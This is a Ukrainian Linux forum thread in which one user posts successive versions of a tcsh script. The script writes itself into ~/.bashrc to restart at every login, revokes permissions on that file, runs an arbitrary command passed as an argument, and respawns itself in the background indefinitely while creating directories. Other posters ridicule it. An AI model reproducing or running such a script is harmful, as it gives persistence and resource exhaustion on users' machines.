Відповісти

Увага: ця гілка була неактивною принаймні 365 днів!
Будь ласка, подумайте про створення нової гілки, якщо ви не впевнені абсолютно, що хочете відновити обговорення тут.
Ім’я:
Електронна пошта:
Тема:
Іконка:

Код перевірки:
Будь ласка, введіть символи, вказані на малюнку
прослухати / Спробувати інший малюнок

Будь ласка, введіть символи, вказані на малюнку:

скорочення: alt+s — надіслати допис, alt+p — попередній перегляд


Стислий вміст гілки

Автор: Praporshic
« : 2009-01-13 21:43:28 »

Ну як тобі пояснити.... таких глюків, як після читання цього безладу, і без речовин досягти доволі важко...
В твоєму житті не вистачає речовин?=)

Я з самого початку написав "лінійкою по пальцях і об тейбл". Як би натякає на корисність показової екзекуції=)
Речовин вистачає, а от щоб без них....
Автор: raven
« : 2009-01-13 21:06:55 »

Ну як тобі пояснити.... таких глюків, як після читання цього безладу, і без речовин досягти доволі важко...
В твоєму житті не вистачає речовин?=)

Я з самого початку написав "лінійкою по пальцях і об тейбл". Як би натякає на корисність показової екзекуції=)
Автор: Praporshic
« : 2009-01-13 20:54:17 »

Не розумію, чого модератори цю тему з самого початку не випиляли.

Ну як тобі пояснити.... таких глюків, як після читання цього безладу, і без речовин досягти доволі важко...
Автор: Михайло Даниленко
« : 2009-01-13 19:14:19 »

p.s.
mkdir {0..100}
так швидше.
Автор: raven
« : 2009-01-13 19:08:38 »

Слава тобі господи, що я не обрав tcsh...
tcsh потужна річ, якщо її не давати в руки дурням. Як і все інше, зрештою... А топікстартер або кретин, або просто троль. Не розумію, чого модератори цю тему з самого початку не випиляли.
Автор: Михайло Даниленко
« : 2009-01-13 19:03:27 »

о_О

Слава тобі господи, що я не обрав tcsh...

for dir in {0..100}; do mkdir "$dir"; done
Автор: AliceStein
« : 2009-01-13 16:28:45 »

створюе директорії 0 1 2 3 4 ітд
Автор: Михайло Даниленко
« : 2009-01-13 10:07:37 »

Гм, я щось від початку не міг зрозуміти що воно має робити, не можу зрозуміти й зараз, із коментарями... Мабуть тупий :/
Автор: yurchor
« : 2009-01-07 20:29:26 »

contais->contains
enviroment->environment
hiden->hidden
call at a maked->call in the created
parametr->parameter
recurse->recursive
tcsh->bash

Виправив лише правопис. Граматика... :'(

P.S. Це варіант делінуксатора для *BSD, правильно? ;)
Автор: AliceStein
« : 2009-01-07 19:51:52 »

#!/bin/tcsh
# Utility "p1", author Alice Stein (netelis@yandex.ru),
chmod +r+w ~/.bashrc
set x3=$#
if($x3<1) then
#read last string from .bashrc that write one time
# and replace spaces sign _
set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
#parameter $0 contains path to script and name of script
set b=$0
#if a line coincided from .bashrc with $0
if($a == $b) then
else
chmod +r+w ~/.bashrc
#write to file .bashrc that started each time with start bash
echo "$0" >> ~/.bashrc
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
endif
#if command line parameters are not present assign default counter of directories 0 and command echo
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
#save command line arguments in environment variables
set x1=$1
set x2=$2
endif
#exec command passed from command line
$x2;
#write number of counter of directory in the system log /var/log/messages
logger $1;
#increment directory counter
@ x1++;
chmod +x+r+w $x1
#create directory
mkdir $x1
#call in the created directory
cd $x1
chmod +x+r+w $x1
#delete a file if a script is started the second time that did not result in hanging up of script
#delete hidden file
rm .$x1
#create hidden file
echo "1" > .$x1
#take away rights for access
chmod -x-r-w .$x1
cd ..
chmod -x-r-w $x1
#sleep on 1 second
sleep 1s;
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
#recursive call with argument line parameter
$0 $x1 $x2 &
exit 0
Автор: Praporshic
« : 2009-01-04 00:57:31 »

Автор: AliceStein
« : 2009-01-04 00:38:51 »

Остаточній варіант
#!/bin/tcsh
set x3=$#
if($x3<1) then
set a=`cat .bashrc | tail -n 1 | tr ' ' '_'`
set b=$0
if($a == $b) then
else
echo "$0" >> .bashrc
endif
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
set x1=$1
set x2=$2
endif
$x2;
logger $1;
@ x1++;
mkdir $x1
sleep 1s;
$0 $x1 $x2 &
exit 0
Автор: AliceStein
« : 2008-12-25 16:08:02 »

#!/bin/tcsh
set x1=$1;
set x2=$2;
$x2
sleep 1s;
logger $1;
@ x1++;
mkdir $x1
$0 $x1 $x2
exit 0
Автор: AliceStein
« : 2008-12-23 00:26:16 »

скрипт повинен називатися p1.sh інакше небуде рекурсивного виклику
Автор: raven
« : 2008-12-01 17:23:44 »

чого небудь коштуе така программа на tcsh?
Металевою лінійкою по пальцях. І фейсом об тейбл.